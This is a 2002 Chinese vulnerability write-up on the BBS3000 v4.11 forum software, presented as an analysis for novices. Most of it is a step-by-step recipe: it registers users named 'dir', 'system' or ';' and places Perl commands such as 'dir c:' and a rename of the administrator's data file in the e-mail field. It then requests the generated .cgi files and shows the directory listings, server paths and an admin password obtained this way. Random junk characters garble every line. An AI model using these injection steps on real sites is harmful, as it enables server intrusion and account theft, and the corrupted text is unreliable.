窥探YUZI的BBS3000社区安全性--1 / h% U* l4 p6 S
文章类型:漏洞分析 文章加入时间:2002年1月24日22:24
. E: R! @3 A9 f3 a5 E: H--------------------------------------------------------------------------------
* b2 b0 C4 |) P5 H1 B
+ U2 h+ q0 U. g: U& f窥探YUZI的BBS3000社区安全性
1 k# @( |; N& B) D2 r9 x—————————————————————————————————, E: ?% `) p& [. I: F4 H9 g( N
badboy-club@21cn.com/ |( v% Z7 a9 w' i6 u
部分漏洞提供者:" v, t; U/ n. I' U: H; ?- i
adver- V2 C7 W' g7 K* W0 r* w0 i
x.z# K2 c6 v) t. j. a( h* M3 e
这并不是什么权威教材,只适合菜鸟了解某些免费提供的论坛程序存在的不
) X5 K- m3 N9 F8 G+ k* e安全面,切莫用此方法在国内做尝试,如果你偏要如此,那么由此引起的一) K1 e* f* g2 @! `
切法律后果由你自己负责。
1 @$ k, n$ H, Y本文只允许在网络任意转载,但须保留文章的完整性,如把本文作为经济目
4 H6 I4 \& l- S' P0 t) C的使用,或者未经本人许可进行印刷、光盘杂志、等出版性质的行为,本人# s+ B6 ]7 x j6 U* m Q
将保留侵权控告的权利。
: ?7 \, m% }! }—————————————————————————————————3 ?6 G; U6 X' U8 Q- F9 }# L) L- N
第一篇
6 X7 \9 j3 ~0 a" e' o****基本漏洞测试*****
3 `3 Y7 r) r' c' q: T$ x( u& W YUZI的BBS3000被不少的国内个人站点和企业站点用来作为网友交流的论坛,0 M# u+ k3 a2 X4 C0 I( g! o$ _
但不少用户很少去探测这论坛的安全性,使用者很大程度上信任作者,而实际上4 E2 h" U3 o+ {; O) S3 R- Q' E
这些免费的版本和汉化修改论坛,往往存在一些致命的漏洞,本文的目的在于揭3 K% j) ~: y/ ]" H1 [
示该论坛不为人知的漏洞,让大家更好的使用这类论坛,并且保证自身资料的隐
" k1 H: i7 r; r* ~" @蔽和服务器的安全。" u2 c/ U3 ^# j
测试版本:bbs3000 v4.11
% y$ v H; K! ^5 Y+ g4 m系统平台:win2k adv server=sp3 + iis 5.0 +ActivePerl 5.6.1.626
' a8 p! J. {3 q P4 v+ C9 E# n4 S应用程序映射:perl.exe %s %s 动作:GET,HEAD,POST& K0 v) `; K: G" w7 W m3 y' \
或者:perlIS.dll 动作:GET,HEAD,POST
) s+ w0 u: l9 E0 I! U1 P测试情况:
2 V& Y7 S5 p" P) O; h: l一、用户名为dir的漏洞
/ n8 w1 T9 S7 S' D1、采用应用程序映射:perl.exe %s %s应用程序映射$ {+ Y0 T- C3 H! F8 u
在站点建立一目录(或者虚拟目录)bbs3000,按论坛作者提供的说明书,默认安
0 \8 i( i6 N- w% b7 ^% c装BBS3000 v4.11版本,我们注册一用户名为dir,密码为system,信箱为) q: S' U) A \5 r
#badboy@badclub.org(#任意信箱都可以),然后我们在IE地址栏处输入:
& i% c/ X9 L5 S% [! V* @http://192.168.0.1/bbs3000/yhzl/dir.cgi
* W" e$ v* m9 O* [. R. }* n2 QF:\new\bbs3000\bbs3000 的目录0 v' ^* d% Q! u( W; R
2002-01-16 19:26 <DIR> .
3 R" d! ?# d# m; y7 ]' V2002-01-16 19:26 <DIR> ..
' w9 U9 x6 Z) H2002-01-16 22:42 43,247 bbs.cgi5 X' T8 Q0 Q4 z% S8 c8 \
2002-01-16 22:47 50,934 cjyh.cgi. J# I7 h0 M3 {+ \
2002-01-16 22:43 38,551 bbs1.cgi
+ U4 _: m! H. a$ N# C2002-01-16 22:48 6,401 cookie.cgi; g5 h3 [' m8 c* w& P4 g
2002-01-16 22:42 2,138 affiche.cgi
5 O/ d2 [! k" R0 c/ | Z2002-01-16 22:43 22,434 bbs2.cgi! W( \4 S% x, X8 u: d0 j* Q
(以下略)5 j$ a. C8 A8 ?7 c3 R/ z
34 个文件 417,611 字节
; K* }/ s+ o X9 Z& r7 O# V 15 个目录 1,830,944,768 可用字节
! D$ E* Y* N4 w' U9 t, H& V6 ]: k! O @) s/ @
2、采用应用程序映射:perlIS.dll应用程序映射
" ^ Y- U( ]) x得到的显示页面为:
7 x6 `- @ v7 P' B'F:\new\bbs3000\bbs3000\yhzl\dir.cgi' script produced no output 8 d6 l* C" F1 D2 L6 X9 i. e
测试解释:在应用程序映射中,一个扩展名只能由一个程序去映射,在采用+ c2 ~* s& _5 a( b7 `
perl.exe时,BBS3000存在查看网站目录和文件的漏洞,在采用perlIS.dll时,5 Z4 l0 l& D/ R; }
则有暴露网站在服务器上的绝对地址的漏洞。' s% V4 A2 Z" Y7 c3 G
二、用户名为system的漏洞
+ `% T- a5 u. r7 A" B/ v# O1、采用应用程序映射:perl.exe %s %s应用程序映射
4 k4 Y" z& t' [( w6 T注册一用户名为system,密码为空格键(或者密码为system),信箱为
0 e6 ~1 C* n B'dir c:'#@badclub.org,然后我们在IE地址栏内输入:
: ]' P6 g0 Z: Y0 ]/ c+ Uhttp://192.168.0.1/bbs3000/yhzl/system.cgi$ m; v1 M$ H+ Q$ n8 g: L. m
返回的页面显示为:! F) G3 ?* P9 p- Q( V- h+ |! ^
C:\ 的目录
; g$ P7 r/ D( b; C2001-11-27 20:56 1,002 FRUNLOG.TXT3 ?# r9 i! P7 K0 P( O I8 W
2001-11-27 20:49 <DIR> WINNT7 p9 d. \3 J* r. O- I5 w$ b
(以下略)
# X* u! L( |$ [5 I; w9 M) [* a 10 个文件 29,583 字节) z0 H5 d3 C- p# o
9 个目录 946,327,552 可用字节6 |+ T9 ?, _" X+ a& R2 n& Y# |( v
当密码为其他时,则显示:( r: V6 ~ }( y, k
CGI Error
* X( y% U( Z- H) v0 _/ [9 CThe specified CGI application misbehaved by not returning a complete2 m- g: [/ u) c: H) J: [
set of HTTP headers. The headers it did return are:2 w2 y9 }& ]) J/ H- m2 Z
syntax error at F:\new\bbs3000\bbs3000\yhzl\system.cgi line 1, near' r5 s% {' a4 K6 [( }1 l" h
"1 system"Execution of F:\new\bbs3000\bbs3000\yhzl\system.cgi ; x4 O, T% U8 e2 F4 M
aborted due to compilation errors.
7 b0 I$ [( `' B- `我们还可以这样测试用户名为system的情况,密码仍然为空格键
& i1 l+ }5 E5 a8 Z# L L! F(或者密码为system)但把信箱修改为@ARGV##badboy@badclub.org,然后我" U4 M4 S2 ]3 a: u1 G
们在IE地址栏内输入:
) i8 b' P' Y3 R1 hhttp://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:' h- n- N6 N1 M% f
返回的页面显示
2 Z0 G! F5 d- |$ s" m: \D:\ 的目录
: u: Y! U8 G1 q$ b& R( Q2001-01-18 23:23 <DIR> tools
/ H1 _4 a8 U: r$ E. A. t- y3 s2001-11-27 21:18 <DIR> 98tools
% V1 Q* M" h1 P2001-04-08 13:08 <DIR> W2Kreskit
. M6 y4 I% A3 T7 n2001-11-06 19:52 <DIR> NOCDKEY-PROT' O+ @7 A0 n$ u( l* h% f( n
2001-12-01 21:32 <DIR> WINNT8 m1 s" W' q9 S, @' a% W
2001-12-01 21:39 <DIR> Documents and Settings9 F0 r1 B( g' e
2001-12-01 21:41 <DIR> Program Files
+ Q8 E- ~$ h8 V2001-12-01 21:53 <DIR> Inetpub4 j: l8 C. P. q7 f) E! X
2002-01-16 19:17 <DIR> pl; ^. S' Y2 A( G
(以下省略部分内容) 5 }* A9 @" k" \' n
12 个文件 15,068,818 字节
9 a- Q6 s7 V' Z6 F# l 15 个目录 2,371,317,760 可用字节6 F9 `+ _: Q( W
'0' 不是内部或外部命令,也不是可运行的程序8 U5 J; z. [3 z) ~+ v$ [
或批处理文件。
& h* L7 C% G) Z: B: ~$ f2、采用应用程序映射:perlIS.dll应用程序映射
4 F. R/ r2 O4 B, o3 a用户名为system,密码为空格键(或者密码为system),信箱为'dir c:'#@badclub.org,* y1 y. Z+ T2 a: V
然后我们在IE地址栏内输入:
& u' I( `: `2 Y5 e/ K* thttp://192.168.0.1/bbs3000/yhzl/system.cgi- e3 q" x5 Y8 [% N8 M) ~
返回的页面显示为:9 z& o$ Y4 l9 d# ~ y( ]; t- W8 U7 |
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
6 D' Z+ n! J5 m8 o$ [把信箱修改为@ARGV##badboy@badclub.org,然后我们在IE地址栏内输入:
8 G8 Y7 [0 S6 P. h! ~$ Uhttp://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:: e+ e8 ?6 L& _$ L8 ?6 x; x
返回的页面显示3 c9 {# k4 L3 }+ q. Z
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
# p/ p; X( P3 L' g! ~: I) h三、用户名为;字符的情况
8 b9 J0 B7 v( s& g1、采用应用程序映射:perlIS.dll应用程序映射
0 |8 c- L( q5 ^8 P- Q$ ~% `# s8 j注册一用户名为;字符,密码为1,信箱为rename "badboy.cgi","badboy.txt";#@badclub.org ,2 g0 \7 a; p" N/ F0 m8 I
(这里假设badboy为该论坛的社区区长,也就是该论坛最大权限的用户),然后我们3 d$ D: o1 {% B) ~* D6 u$ H
在IE地址栏内输入:" ^; z: P9 z- S5 V
http://192.168.0.1/bbs3000/yhzl/;.cgi
7 G0 l2 ^# J( ?8 L( B1 t6 y返回的页面显示: @. b$ \$ G. o
'F:\new\bbs3000\bbs3000\yhzl\;.cgi' script produced no output
7 q+ j4 k9 p9 T# c& W嗯,怎么还是和上面的perl.dll例子一样啊??后面的就是关键了,你再输入这样* w6 b. w5 ?: s, `3 o% N9 Z
的看看
% P( X: b. Q; Z9 G, Q0 D4 A1 Mhttp://192.168.0.1/bbs3000/yhzl/badboy.txt" H5 U/ l* P" z
返回的页面显示为/ F5 |% a( ]! M2 f2 x! F
badpass badboy http://192.168.0.1 2002-01-16
* ~7 n6 ~+ N" ?4 a9 j- s2 R显示的内容前面就是密码、用户+ c1 \2 t$ u4 H1 `& q
天啊,事情怎么那么容易呀!!~_*
3 k/ W/ `$ b6 C# j经测试,用户名为system密码为一个空格键(或者为system),信箱为
! E; n% B5 D3 \1 rrename "badboy.cgi","badboy.txt";#@badclub.org 的时候,步骤和上面一样,同样
( [0 E) ~- @+ I: N5 Y+ [5 ^/ E8 X可以获得相同的结果。
4 Y: Y) q0 Z) r; ?* k( F2、采用应用程序映射:perl.exe %s %s应用程序映射
* L9 ~% \7 t& o/ W+ ~4 g用户名为;字符,密码为1,信箱为rename "badboy.cgi","badboy.txt";#@badclub.org
2 I9 |3 ~1 v% d5 `- a, a在IE地址栏内输入:
- k$ Q$ Y2 Y3 \- q% a+ s6 vhttp://192.168.0.1/bbs3000/yhzl/;.cgi1 }) n2 F" F1 f
返回的页面显示* m0 T$ \' H/ o% p/ h, w; l8 L
CGI Error
- k& h) Z y7 C7 Z2 y6 U9 gThe specified CGI application misbehaved by not returning a complete set of HTTP
- t' E4 Q# U( t( h" _, @; Wheaders. The headers it did return are: 9 ^, \$ T, ^, z" @* y1 k) G
|